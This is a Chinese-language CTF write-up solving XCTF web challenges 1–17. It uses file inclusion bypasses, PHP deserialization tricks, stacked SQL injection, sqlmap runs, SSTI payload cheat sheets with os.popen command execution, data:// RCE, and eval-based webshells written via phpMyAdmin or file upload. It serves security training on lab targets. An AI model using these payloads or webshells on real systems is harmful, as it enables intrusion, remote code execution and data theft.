攻防世界进阶专区——WEB(1~20)

攻防世界进阶专区——WEB(1~20)

001 baby_web

image-20220224103640132

打开环境:

image-20220224103654741

ctrl+u查看源代码,和页面内容一摸一样,看题目提示和起始页面有关,在index.php用 F12 即可在header里面找到flag。

image-20220224104048566

002 warmup

image-20220224104319446

打开场景:

image-20220224104434158

F12看一下:

image-20220224105124661

这里找到一个source.php,访问看一下:

<?php
    highlight_file(__FILE__);
    class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) {
                return true;
            }

            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  
?>

找到了个hint.php,打开看看:

image-20220224113642361

提示 flag 在 ffffllllaaaagggg 里面,再看 source.php ,

  • 传的参数是 source.php 或者 hint.php,则返回真,如果不满足继续往下判断

  • 取传进参数首次出现?前的部分,再进行白名单判断,如果还不满足继续往下判断

  • 先把传进的参数做 urldecode ,接着进行第二部,都不满足就输出you can't see it并且返回假

可以看到存在include

image-20220224120220600

然后构造payload就行了。

image-20220224120105209

003 Training-WWW-Robots

image-20220224121711648

打开环境,可以看到和 robots 有关。

image-20220224121849430

image-20220224121943961

robots.txt是个君子协定,他说不准爬我们当然不能爬,所以我们得到了flag。

image-20220224122046513

004 PHP2

image-20220224152731947

打开环境:

image-20220224152803963

????啥情况,F12也没看到有什么东西,在后面加上/index.php也是一模一样。

image-20220224153538403

扫描完以后就扫出这俩,访问发现啥都没有,看其他师傅的wp,写用御剑会扫出index.phps。。。。。

phps 文件就是 php 的源代码文件,通常用于提供给用户(访问者)查看 php 代码,因为 用户无法直接通过 Web 浏览器看到 php 文件的内容,所以需要用 phps 文件代替。其 实,只要不用 php 等已经在服务器中注册过的MIME类型为文件即可,但为了国际通用, 所以才用了phps文件类型。

我用御剑扫了半天也没扫出来,可能是没设置好吧,访问一下:

<?php
if("admin"===$_GET[id]) {
  echo("<p>not allowed!</p>");
  exit();
}

$_GET[id] = urldecode($_GET[id]);
if($_GET[id] == "admin")
{
  echo "<p>Access granted!</p>";
  echo "<p>Key: xxxxxxx </p>";
}
?>

Can you anthenticate to this website?

主目录(index.php)接受一个 id 的GET传参; 就是 ?id=xxx

==分析:==题目需要我传 一个 id 的变量 ,使 id === 'admin' ,使用urldecode解码后 ,id == 'admin' 满足这三条 就可以拿到 key 了。

admin进行 url 编码 %61%64%6D%69%6E,提交的时候,要注意上面写的 index.phps 不接受传参 ,提交完发现不行。 id === 'admin' 满足条件了,所以 返回 not allowed,在 url 地址栏提交数据时,浏览器会自动进行一次urldecode解码 ;浏览器解码了那id提交的就变会 admin 了。

那么将百分号给编码一下就行了,查表得知%的url编码以后成为了%25,所以%61%64%6D%69%6E就变成了%2561%2564%256D%2569%256E

访问一下就得到了flag。

image-20220224171520941

005 Web_php_unserialize

image-20220225095500716

打开环境:

<?php 
class Demo { 
    private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file; 
    }
    function __destruct() { 
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() { 
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}
if (isset($_GET['var'])) { 
    $var = base64_decode($_GET['var']); 
    if (preg_match('/[oc]:\d+:/i', $var)) { 
        die('stop hacking!'); 
    } else {
        @unserialize($var); 
    } 
} else { 
    highlight_file("index.php"); 
} 
?>

可以看到有一个fl4g.php,我们的目的就是为了得到它,需要利用反序列化漏洞:

  • 绕过preg_match
  • 绕过__wakeup

构造==payload==:

<?php 
class Demo { 
    private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file; 
    }
    function __destruct() { 
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() { 
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}

$a=new Demo('fl4g.php');
$b=serialize($a);
echo $b;
echo '<br/>';
$b=str_replace(':1:',':2:',$b);
$b=str_replace(':4:',':+4:',$b);
echo $b;
echo '</br>';
$c=base64_encode($b);
echo $c;
//输出:
O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}
O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}
TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==

image-20220225100255969

006 ics-06

image-20220331161124472

打开环境:

image-20220331161408453

尝试查看左边的各项,但是只能打开一个:

image-20220331161443116

数据被删除了,尝试输入数据,但是无效

image-20220331161842306

查看一下发现点击是不会有反应的,再观察一下页面,突然发现URL有点异常:

image-20220331161938416

直接bp,因为是基层服务数据,不可能太小,先设置成10000,不行的话再扩大试试:

image-20220331162515749

找到flag了。

007 php_rce

image-20220331162751821

RCE(远程代码执行漏洞)

用户通过浏览器提交执行命令,由于服务器端没有针对执行函数做过滤,导致在没有指定绝对路径的情况下就执行命令,可能会允许攻击者通过改变 $PATH 或程序执行环境的其他方面来执行一个恶意构造的代码。——以上来自百度百科

==ThinkPHP5框架底层对控制器名过滤不严,可以通过url调用到ThinkPHP框架内部的敏感函数,进而导致getshell漏洞。==

打开环境:

image-20220331163726286

github上搜一下这个ThinkPHP V5

image-20220331163940441

随便输入一个看一下:

image-20220331164721829

发现可以输出信息,再进一步尝试:

image-20220331164828536

继续:

image-20220331164926128

错误没有显示,原因是命令中少了一个空格。。。。(/和-之间有一个空格)

image-20220331165113069

接着就找到了flag:

image-20220331165245406

008 Web_php_include

image-20220331165425916

打开环境,可以看到:

<?php
show_source(__FILE__);
echo $_GET['hello'];
$page=$_GET['page'];
while (strstr($page, "php://")) {
    $page=str_replace("php://", "", $page);
}
include($page);
?>

查一下这个strstr

image-20220331165651303

strstr(str1,str2) 函数用于判断字符串str2是否是str1的子串。如果是,则该函数返回 str1字符串从 str2第一次出现的位置开始到 str1结尾的字符串;否则,返回NULL。

使用hackbar进行操作:

image-20220331171632593

一直运行不出来,上网查了一下,发现被过滤掉了,按照其他方法:

image-20220331171737130

上面这串字符解码以后就是post传的参数。。。。

image-20220331171948142

解法一:抓包

只能传统方法了,抓包:

image-20220331173418135

找到了疑似flag的文件,查看一下:

image-20220331173520275

解法二:随风kali大神的解法

image-20220331174727143

image-20220331174917797

image-20220331175058863

这个真的太顶了,我想到死都想不出来这个方法,牛逼!!!!

解法三:木马

先拿dirsearch扫一下,当然御剑也可以:

image-20220331175648258

看到存在一个phpmyadmin,进入看一下:

image-20220331175734522

用户名:root

密码:无

传入一句话木马:==select '<?php @eval($_POST[hack]); ?> into outfile '/tmp/webshell.php'==

image-20220331180337677

蚁剑连接:

image-20220331180608791

查找一下就找到了flag:

image-20220331180655499

解法四:data://协议绕过

题目不准使用php,我们就使用data。

data协议的一般格式

==?page=data://text/plain,xxxxxxx==

构造payload:==?page=data://text/plain,<?php system('ls'); ?>==

==?page=data://text/plain,<?php system('cat fl4gisisish3r3.php'); ?>==

image-20220331181151265

image-20220331181611658

方法五:data伪协议木马

==?page=data://text/plain,<?php eval($_POST[hack]); ?>==

image-20220331182140146

image-20220331182426740

009 supersqli

image-20220401123917411

打开环境,F12看一下:

image-20220401124013426

随便输入一下看看:

image-20220401130736735

image-20220401130917073

发现上面这些关键词都不能使用,尝试堆叠注入查询数据库;

image-20220401131412188

查询表信息:

image-20220401131503951

image-20220401131853437

image-20220401132132727

解法一:改名查询

  • 将words表名改为words1
  • 1919810931114514表名改为words
  • 将flag改为id列
1';rename tables `words` to `words1`;rename tables `1919810931114514` to `words`; alter table `words` change `flag` `id` varchar(100);#

image-20220401133555309

方法二:利用handler进行查询

mysql除可使用select查询表中的数据,也可使用handler语句,这条语句使我们能够一行一行的浏览一个表中的数据,不过handler语句并不具备select语句的所有功能。它是mysql专用的语句,并没有包含到SQL标准中。
HANDLER语句提供通往表的直接通道的存储引擎接口,可以用于MyISAM和InnoDB表。

handler语句的语法如下:

HANDLER tbl_name OPEN [ [AS] alias]

HANDLER tbl_name READ index_name { = | <= | >= | < | > } (value1,value2,...)
 [ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST }
 [ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ { FIRST | NEXT }
 [ WHERE where_condition ] [LIMIT ... ]

HANDLER tbl_name CLOSE

通过HANDLER tbl_name OPEN打开一张表,无返回结果,实际上我们在这里声明了一个名为tb1_name的句柄。
通过HANDLER tbl_name READ FIRST获取句柄的第一行,通过READ NEXT依次获取其它行。最后一行执行之后再执行NEXT会返回一个空的结果。
通过HANDLER tbl_name CLOSE来关闭打开的句柄。

通过索引去查看的话可以按照一定的顺序,获取表中的数据。
通过HANDLER tbl_name READ index_name FIRST,获取句柄第一行(索引最小的一行),NEXT获取下一行,PREV获取前一行,LAST获取最后一行(索引最大的一行)。

通过索引列指定一个值,可以指定从哪一行开始。
通过HANDLER tbl_name READ index_name = value,指定从哪一行开始,通过NEXT继续浏览。

直接输入==-1';handler 1919810931114514 open;handler 1919810931114514 read first;#==进行查询即可

image-20220401133849303

方法三:预编译绕过

这个真没想出来,参考师傅们的思路:

-1';set @sql = CONCAT('sele','ct * from `1919810931114514`;');prepare aaa from @sql;EXECUTE aaa;#

预编译,拼接字符串,但是会报错==strstr(\$inject, "set") && strstr(\$inject, "prepare")==

同时过滤了set和prepare,再大小写绕过即可:

1';sEt @sql = CONCAT('sele','ct * from `1919810931114514`;');prepArE aaa from @sql;EXECUTE aaa;#

image-20220401134956915

010 NewsCenter

image-20220401135405324

打开附件:

image-20220401135604419

解法一:手动注入

可以看到有输入点,尝试注入查询:

image-20220401140239234

发现有三列,尝试获取表名:

' and 0 union select 1,table_schema,table_name from information_schema.columns#

获取了一堆表名,可以看到最后有一个secret table,应该 flag 就在这里面

image-20220401140707283

查询列名称:

' and 0 union select 1,column_name,data_type from information_schema.columns where table_name='secret_table'#

image-20220401141518999

​ 找到了flag,直接查询即可

' and 0 union select 1,2,fl4g from secret_table #

image-20220401141629795

解法二:sqlmap

常用用法
1.   sqlmap -u  "http://www.xx.com?id=x"                              查询是否存在注入点
2.   --dbs                                                              检测站点包含哪些数据库
3.   --current-db                                                       获取当前的数据库名
4.   --tables -D "db_name"                                                获取指定数据库中的表名 -D后接指定的数据库名称
5.   --columns  -T "table_name" -D "db_name"                            获取数据库表中的字段
6.   --dump -C "columns_name" -T "table_name" -D "db_name"            获取字段的数据内容

使用sqlmap搜索flag的命令:

==获取注入点==

sqlmap -u http://111.200.241.244:53231/ --data "search=df"

image-20220401144513750

==获取数据库信息==

sqlmap -u http://111.200.241.244:53231/ --data "search=df" -dbs

image-20220401144617747

==获取库内表信息==

sqlmap -u http://111.200.241.244:53231/ --data "search=df" -D news --tables

image-20220401144759911

==获取表内字段信息==

sqlmap -u http://111.200.241.244:53231/ --data "search=df" -D news -T secret_table --columns

image-20220401144847486

==获取字段内容,得到flag==

sqlmap -u http://111.200.241.244:53231/ --data "search=df" -D news -T secret_table -C "fl4g" --dump

image-20220401144946589

得到flag!!!!

011 NaNNaNNaNNaN-Batman

image-20220401145117718

打开附件,是一个压缩包,解压一下:

image-20220401145300309

以文本形式打开看一下:

<script>_='function $(){e=getEleById("c").value;length==16^be0f23233ace98aa$c7be9){tfls_aie}na_h0lnrg{e_0iit\'_ns=[t,n,r,i];for(o=0;o<13;++o){ [0]);.splice(0,1)}}}  \'<input id="c">< onclick=$()>Ok</>\');delete _var ","docu.)match(/"];/)!=null=["  write(s[o%4]buttonif(e.ment';for(Y in $='    ')with(_.split($[Y]))_=join(pop());eval(_)</script>

好多乱码。。将文件名后缀修改为html,打开看一下:

image-20220401145613494

出现了个文本框,但是源代码依然显示不完全,重新审计一下代码。

eval函数没有执行$()函数,仅执行了字符串,将eval改成alert,弹出代码:

image-20220401150104864

function $(){
var e=document.getElementById("c").value;
if(e.length==16)
   if(e.match(/^be0f23/)!=null)
      if(e.match(/233ac/)!=null)
         if(e.match(/e98aa$/)!=null)
             if(e.match(/c7be9/)!=null){
             var t=["fl","s_a","i","e}"];
             var n=["a","_h0l","n"];
             var r=["g{","e","_0"];
             var i=["it'","_","n"];
             var s=[t,n,r,i];
             for(var o=0;o<13;++o){
             document.write(s[o%4][0]);s[o%4].splice(0,1)}
             }
}
document.write('<input id="c"><button οnclick=$()>Ok</button>');
delete _

构造满足条件的值==e=be0f233ac7be98aa==,重新提交即可。

image-20220401150319162

012 unserialize3

image-20220401150523362

打开环境:

class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
?code=

代码中的__wakeup()方法如果使用就是和unserialize()反序列化函数结合使用的,可以想到这里实例化xctf类并对其使用序列化。

<?php
class xctf{ 
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
//这里少了个}
$hack=new xctf();
echo(serialize($hack));
?>

输入过程中phpstorm提示我少了个},给他加上,然后运行:

image-20220401151823430

如果直接传参给code会被__wakeup()函数再次序列化,所以要绕过他。

__wakeup()函数漏洞原理:当序列化字符串表示对象属性个数的值大于真实个数的属性时就会跳过__wakeup的执行。因此,需要修改序列化字符串中的属性个数,然后进行访问:

O::""::{...} 

O:表示序列化的事对象 < length>:表示序列化的类名称长度 < class name>:表示序列化的类的名称 < n >:表示被序列化的对象的属性个数 < field name 1>:属性名 < field value 1>:属性值

image-20220401152156392

013 upload1

image-20220402144542364

启动环境:

image-20220402144604747

看题目意思应该是一个文件上传漏洞,查看一下源代码,看到了这样一段代码:

function check(){
upfile = document.getElementById("upfile");
submit = document.getElementById("submit");
name = upfile.value;
ext = name.replace(/^.+\./,'');

if(['jpg','png'].contains(ext)){
    submit.disabled = false;
}else{
    submit.disabled = true;

    alert('请选择一张图片文件上传!');
}

看样子只能传输.jpg.png文件,修改下代码上传一句话木马:

image-20220402145029919

image-20220402145532323

image-20220402145738111

点击上传,成功!!!

image-20220402145245127

拿webshell管理工具进行连接:

image-20220402145946490

成功获取flag。

014 Web_python_template_injection

image-20220402150345193

先看题目,搜一下相关博客

一、SSTi服务器端模板注入的概念

SSTI服务器端模板注入(Server-Side Template Injection),我们常见的注入有我们熟悉的SQL注入,两者的不通之处就是SSTI利用的是现在的网站模板引擎(下面会提到),主要针对python、php、java的一些网站处理框架,比如Python的jinja2 mako tornado django,php的smarty twig,java的jade velocity,而两者的相同部分就是先从用户处获得值作为web应用模板内容的一部分,然后进行编译渲染,如果在其中用户插入了恶意内容,就可能导致一系列的不良后果,比如RCE、信息泄露、getshell等等(凡是使用模板的地方都可能会出现 SSTI 的问题,SSTI 不属于任何一种语言,沙盒绕过也不是,沙盒绕过只是由于模板引擎发现了很大的安全漏洞,然后模板引擎设计出来的一种防护机制,不允许使用没有定义或者声明的模块,这适用于所有的模板引擎

打开环境,试探一下是不是模板注入:==/hack={{2*3}}==

image-20220402153132262

执行控制语句:

image-20220402153348429

CTRL+F搜寻一下flag相关信息:

image-20220402153425767

不知道是不是,=={{ config.items() }}==查看配置信息:

image-20220402153809925

寻找类对象:

image-20220402154055100

寻找基类:

image-20220402154155463

查看文件:==/{{''.class.mro[-1].subclasses()[71].init.globals['os'].listdir('./')}}==

image-20220402154350181

获取flag:==/{{''.class.mro[-1].subclasses()[40]('fl4g').read()}}==

image-20220402154543024

拓展:模板注入常见姿势:

常见payload:

//获取基本类
''.__class__.__mro__[1]
{}.__class__.__bases__[0]
().__class__.__bases__[0]
[].__class__.__bases__[0]
object
//读文件
().__class__.__bases__[0].__subclasses__()[40](r'C:\1.php').read()
object.__subclasses__()[40](r'C:\1.php').read() 
//写文件
().__class__.__bases__[0].__subclasses__()[40]('/var/www/html/input', 'w').write('123')
object.__subclasses__()[40]('/var/www/html/input', 'w').write('123')
//执行任意命令
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls  /var/www/html").read()' )
object.__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls  /var/www/html").read()' )

查找命令:

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
  {% for b in c.__init__.__globals__.values() %}
  {% if b.__class__ == {}.__class__ %}
    {% if 'eval' in b.keys() %}
      {{ b['eval']('__import__("os").popen("id").read()') }}         //poppen的参数就是要执行的命令
    {% endif %}
  {% endif %}
  {% endfor %}
{% endif %}
{% endfor %}

更多总结可以参考看雪相关博客以及無名之涟师傅的文章

015 easytornado

image-20220403173843996

打开环境:

image-20220405192411651

/flag.txt
flag in /fllllllllllllag
/welcome.txt
render
/hints.txt
md5(cookie_secret+md5(filename))

看题目是一个tornado模板注入,搜索一下:

image-20220405193954905

tornado render是python中的一个渲染函数,也就是一种模板,通过调用的参数不同,生成不同的网页,如果用户对render内容可控,不仅可以注入XSS代码,而且还可以通过{{}}进行传递变量和执行简单的表达式。

猜测一下MD5后的结果就是filehash,尝试进行修改:

image-20220405202929029

和上面的模板注入联系起来,构造payload:==error?msg\={{1}}==

image-20220405200541180

可见存在模板注入点,输入查询语句:==error?msg\={{handler.settings}}==

image-20220405200947839

目前大多数服务器判断用户是否登录一般通过session机制,Tornado 通过 set_secure_cookie 和 get_secure_cookie 方法直接支持了这种功能。原理类似于session,只不过session是服务器自动生成一个sessionID存储在cookie里,而tornado需要我们手工设cookie。然后通过self.current_user的重载函数就可以实现用户的验证。

首先来看下set_secure_cookie和get_secure_cookie的使用方法:

Tornado的set_secure_cookie()和get_secure_cookie()函数发送和取得浏览器的cookies,以防范浏览器中的恶意修改。为了使用这些函数,你必须在应用的构造函数中指定cookie_secret参数。

在线加解密:

==MD5(b281628e-b27b-40ea-bd2a-bc8dcb1c1a8e594cb6af684ad354b4a59ac496473990)==

\===776c91acb7194ff96b04a78c8701a42b==

构造payload:http://111.200.241.244:63263/file?filename=/flag.txt&filehash=578ffccad93ad9c83f995c3a3d1515a8

image-20220405202330041

没反应?????

重新看一下是不是漏掉了,莫非filename是/fllllllllllllag而非fllllllllllllag假装没看wp

image-20220405202828133

得到flag:==flag{3f39aea39db345769397ae895edb9c70}==

image-20220405203209103

016 shrine

image-20220405203304681

启动靶机:

import flask import os app = flask.Flask(__name__) app.config['FLAG'] = os.environ.pop('FLAG') @app.route('/') def index(): return open(__file__).read() @app.route('/shrine/') def shrine(shrine): def safe_jinja(s): s = s.replace('(', '').replace(')', '') blacklist = ['config', 'self'] return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s return flask.render_template_string(safe_jinja(shrine)) if __name__ == '__main__': app.run(debug=True)

整理一下:

import flask 
import os 
app = flask.Flask(__name__) 
app.config['FLAG'] = os.environ.pop('FLAG') 
@app.route('/') 
def index(): 
    return open(__file__).read() 
@app.route('/shrine/') 
def shrine(shrine): 
    def safe_jinja(s): 
        s = s.replace('(', '').replace(')', '') 
        blacklist = ['config', 'self'] 
        return ''.join(['{{% set{}=None %}}'.format(c) for c in blacklist]) + s 
    return flask.render_template_string(safe_jinja(shrine)) 
if __name__ == '__main__': 
    app.run(debug=True) 

按照它说的尝试一下模板注入,看看存不存在:

image-20220405203719844

image-20220405203748479

可以看到存在模板注入(SSTI),对象的魔术方法:

__class__  返回类型所属的对象
__mro__    返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
__base__   返回该对象所继承的基类
// __base__和__mro__都是用来寻找基类的

__subclasses__   每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表
__init__  类的初始化方法
__globals__  对包含函数全局变量的字典的引用

上面发现对self和config进行了过滤,构造payload:

==/shrine/{{url_for.globals['current_app'].config['FLAG']}}==

或者:==/shrine/{{get_flashed_messages.globals['current_app'].config['FLAG']}}==

image-20220405204632408

得到flag。

拓展可以看一下这篇博客https://www.cnblogs.com/shishangxianfeng/articles/10795893.html

017 ics-05

image-20220405205458997

启动环境:

image-20220405205558500

题目提到了这个工控云管理系统设备维护中心的后门,估计和后台有关,使用dirsearch看一下:

image-20220405212056481

看到了/index.php/login/,尝试访问:

image-20220405212201573

看到上面page有index这个参数,联想到文件包含获取源码:

?page=php://filter/read=convert.base64-encode/resource=index.php

得到:

PD9waHAKZXJyb3JfcmVwb3J0aW5nKDApOwoKQHNlc3Npb25fc3RhcnQoKTsKcG9zaXhfc2V0dWlkKDEwMDApOwoKCj8+CjwhRE9DVFlQRSBIVE1MPgo8aHRtbD4KCjxoZWFkPgogICAgPG1ldGEgY2hhcnNldD0idXRmLTgiPgogICAgPG1ldGEgbmFtZT0icmVuZGVyZXIiIGNvbnRlbnQ9IndlYmtpdCI+CiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UsY2hyb21lPTEiPgogICAgPG1ldGEgbmFtZT0idmlld3BvcnQiIGNvbnRlbnQ9IndpZHRoPWRldmljZS13aWR0aCwgaW5pdGlhbC1zY2FsZT0xLCBtYXhpbXVtLXNjYWxlPTEiPgogICAgPGxpbmsgcmVsPSJzdHlsZXNoZWV0IiBocmVmPSJsYXl1aS9jc3MvbGF5dWkuY3NzIiBtZWRpYT0iYWxsIj4KICAgIDx0aXRsZT7orr7lpIfnu7TmiqTkuK3lv4M8L3RpdGxlPgogICAgPG1ldGEgY2hhcnNldD0idXRmLTgiPgo8L2hlYWQ+Cgo8Ym9keT4KICAgIDx1bCBjbGFzcz0ibGF5dWktbmF2Ij4KICAgICAgICA8bGkgY2xhc3M9ImxheXVpLW5hdi1pdGVtIGxheXVpLXRoaXMiPjxhIGhyZWY9Ij9wYWdlPWluZGV4Ij7kupHlubPlj7Dorr7lpIfnu7TmiqTkuK3lv4M8L2E+PC9saT4KICAgIDwvdWw+CiAgICA8ZmllbGRzZXQgY2xhc3M9ImxheXVpLWVsZW0tZmllbGQgbGF5dWktZmllbGQtdGl0bGUiIHN0eWxlPSJtYXJnaW4tdG9wOiAzMHB4OyI+CiAgICAgICAgPGxlZ2VuZD7orr7lpIfliJfooag8L2xlZ2VuZD4KICAgIDwvZmllbGRzZXQ+CiAgICA8dGFibGUgY2xhc3M9ImxheXVpLWhpZGUiIGlkPSJ0ZXN0Ij48L3RhYmxlPgogICAgPHNjcmlwdCB0eXBlPSJ0ZXh0L2h0bWwiIGlkPSJzd2l0Y2hUcGwiPgogICAgICAgIDwhLS0g6L+Z6YeM55qEIGNoZWNrZWQg55qE54q25oCB5Y+q5piv5ryU56S6IC0tPgogICAgICAgIDxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0ic2V4IiB2YWx1ZT0ie3tkLmlkfX0iIGxheS1za2luPSJzd2l0Y2giIGxheS10ZXh0PSLlvIB85YWzIiBsYXktZmlsdGVyPSJjaGVja0RlbW8iIHt7IGQuaWQ9PTEgMDAwMyA/ICdjaGVja2VkJyA6ICcnIH19PgogICAgPC9zY3JpcHQ+CiAgICA8c2NyaXB0IHNyYz0ibGF5dWkvbGF5dWkuanMiIGNoYXJzZXQ9InV0Zi04Ij48L3NjcmlwdD4KICAgIDxzY3JpcHQ+CiAgICBsYXl1aS51c2UoJ3RhYmxlJywgZnVuY3Rpb24oKSB7CiAgICAgICAgdmFyIHRhYmxlID0gbGF5dWkudGFibGUsCiAgICAgICAgICAgIGZvcm0gPSBsYXl1aS5mb3JtOwoKICAgICAgICB0YWJsZS5yZW5kZXIoewogICAgICAgICAgICBlbGVtOiAnI3Rlc3QnLAogICAgICAgICAgICB1cmw6ICcvc29tcnRoaW5nLmpzb24nLAogICAgICAgICAgICBjZWxsTWluV2lkdGg6IDgwLAogICAgICAgICAgICBjb2xzOiBbCiAgICAgICAgICAgICAgICBbCiAgICAgICAgICAgICAgICAgICAgeyB0eXBlOiAnbnVtYmVycycgfSwKICAgICAgICAgICAgICAgICAgICAgeyB0eXBlOiAnY2hlY2tib3gnIH0sCiAgICAgICAgICAgICAgICAgICAgIHsgZmllbGQ6ICdpZCcsIHRpdGxlOiAnSUQnLCB3aWR0aDogMTAwLCB1bnJlc2l6ZTogdHJ1ZSwgc29ydDogdHJ1ZSB9LAogICAgICAgICAgICAgICAgICAgICB7IGZpZWxkOiAnbmFtZScsIHRpdGxlOiAn6K6+5aSH5ZCNJywgdGVtcGxldDogJyNuYW1lVHBsJyB9LAogICAgICAgICAgICAgICAgICAgICB7IGZpZWxkOiAnYXJlYScsIHRpdGxlOiAn5Yy65Z+fJyB9LAogICAgICAgICAgICAgICAgICAgICB7IGZpZWxkOiAnc3RhdHVzJywgdGl0bGU6ICfnu7TmiqTnirbmgIEnLCBtaW5XaWR0aDogMTIwLCBzb3J0OiB0cnVlIH0sCiAgICAgICAgICAgICAgICAgICAgIHsgZmllbGQ6ICdjaGVjaycsIHRpdGxlOiAn6K6+5aSH5byA5YWzJywgd2lkdGg6IDg1LCB0ZW1wbGV0OiAnI3N3aXRjaFRwbCcsIHVucmVzaXplOiB0cnVlIH0KICAgICAgICAgICAgICAgIF0KICAgICAgICAgICAgXSwKICAgICAgICAgICAgcGFnZTogdHJ1ZQogICAgICAgIH0pOwogICAgfSk7CiAgICA8L3NjcmlwdD4KICAgIDxzY3JpcHQ+CiAgICBsYXl1aS51c2UoJ2VsZW1lbnQnLCBmdW5jdGlvbigpIHsKICAgICAgICB2YXIgZWxlbWVudCA9IGxheXVpLmVsZW1lbnQ7IC8v5a+86Iiq55qEaG92ZXLmlYjmnpzjgIHkuoznuqfoj5zljZXnrYnlip/og73vvIzpnIDopoHkvp3otZZlbGVtZW505qih5Z2XCiAgICAgICAgLy/nm5HlkKzlr7zoiKrngrnlh7sKICAgICAgICBlbGVtZW50Lm9uKCduYXYoZGVtbyknLCBmdW5jdGlvbihlbGVtKSB7CiAgICAgICAgICAgIC8vY29uc29sZS5sb2coZWxlbSkKICAgICAgICAgICAgbGF5ZXIubXNnKGVsZW0udGV4dCgpKTsKICAgICAgICB9KTsKICAgIH0pOwogICAgPC9zY3JpcHQ+Cgo8P3BocAoKJHBhZ2UgPSAkX0dFVFtwYWdlXTsKCmlmIChpc3NldCgkcGFnZSkpIHsKCgoKaWYgKGN0eXBlX2FsbnVtKCRwYWdlKSkgewo/PgoKICAgIDxiciAvPjxiciAvPjxiciAvPjxiciAvPgogICAgPGRpdiBzdHlsZT0idGV4dC1hbGlnbjpjZW50ZXIiPgogICAgICAgIDxwIGNsYXNzPSJsZWFkIj48P3BocCBlY2hvICRwYWdlOyBkaWUoKTs/PjwvcD4KICAgIDxiciAvPjxiciAvPjxiciAvPjxiciAvPgoKPD9waHAKCn1lbHNlewoKPz4KICAgICAgICA8YnIgLz48YnIgLz48YnIgLz48YnIgLz4KICAgICAgICA8ZGl2IHN0eWxlPSJ0ZXh0LWFsaWduOmNlbnRlciI+CiAgICAgICAgICAgIDxwIGNsYXNzPSJsZWFkIj4KICAgICAgICAgICAgICAgIDw/cGhwCgogICAgICAgICAgICAgICAgaWYgKHN0cnBvcygkcGFnZSwgJ2lucHV0JykgPiAwKSB7CiAgICAgICAgICAgICAgICAgICAgZGllKCk7CiAgICAgICAgICAgICAgICB9CgogICAgICAgICAgICAgICAgaWYgKHN0cnBvcygkcGFnZSwgJ3RhOnRleHQnKSA+IDApIHsKICAgICAgICAgICAgICAgICAgICBkaWUoKTsKICAgICAgICAgICAgICAgIH0KCiAgICAgICAgICAgICAgICBpZiAoc3RycG9zKCRwYWdlLCAndGV4dCcpID4gMCkgewogICAgICAgICAgICAgICAgICAgIGRpZSgpOwogICAgICAgICAgICAgICAgfQoKICAgICAgICAgICAgICAgIGlmICgkcGFnZSA9PT0gJ2luZGV4LnBocCcpIHsKICAgICAgICAgICAgICAgICAgICBkaWUoJ09rJyk7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgaW5jbHVkZSgkcGFnZSk7CiAgICAgICAgICAgICAgICAgICAgZGllKCk7CiAgICAgICAgICAgICAgICA/PgogICAgICAgIDwvcD4KICAgICAgICA8YnIgLz48YnIgLz48YnIgLz48YnIgLz4KCjw/cGhwCn19CgoKLy/mlrnkvr/nmoTlrp7njrDovpPlhaXovpPlh7rnmoTlip/og70s5q2j5Zyo5byA5Y+R5Lit55qE5Yqf6IO977yM5Y+q6IO95YaF6YOo5Lq65ZGY5rWL6K+VCgppZiAoJF9TRVJWRVJbJ0hUVFBfWF9GT1JXQVJERURfRk9SJ10gPT09ICcxMjcuMC4wLjEnKSB7CgogICAgZWNobyAiPGJyID5XZWxjb21lIE15IEFkbWluICEgPGJyID4iOwoKICAgICRwYXR0ZXJuID0gJF9HRVRbcGF0XTsKICAgICRyZXBsYWNlbWVudCA9ICRfR0VUW3JlcF07CiAgICAkc3ViamVjdCA9ICRfR0VUW3N1Yl07CgogICAgaWYgKGlzc2V0KCRwYXR0ZXJuKSAmJiBpc3NldCgkcmVwbGFjZW1lbnQpICYmIGlzc2V0KCRzdWJqZWN0KSkgewogICAgICAgIHByZWdfcmVwbGFjZSgkcGF0dGVybiwgJHJlcGxhY2VtZW50LCAkc3ViamVjdCk7CiAgICB9ZWxzZXsKICAgICAgICBkaWUoKTsKICAgIH0KCn0KCgoKCgo/PgoKPC9ib2R5PgoKPC9odG1sPgo=

解密一下:

<?php
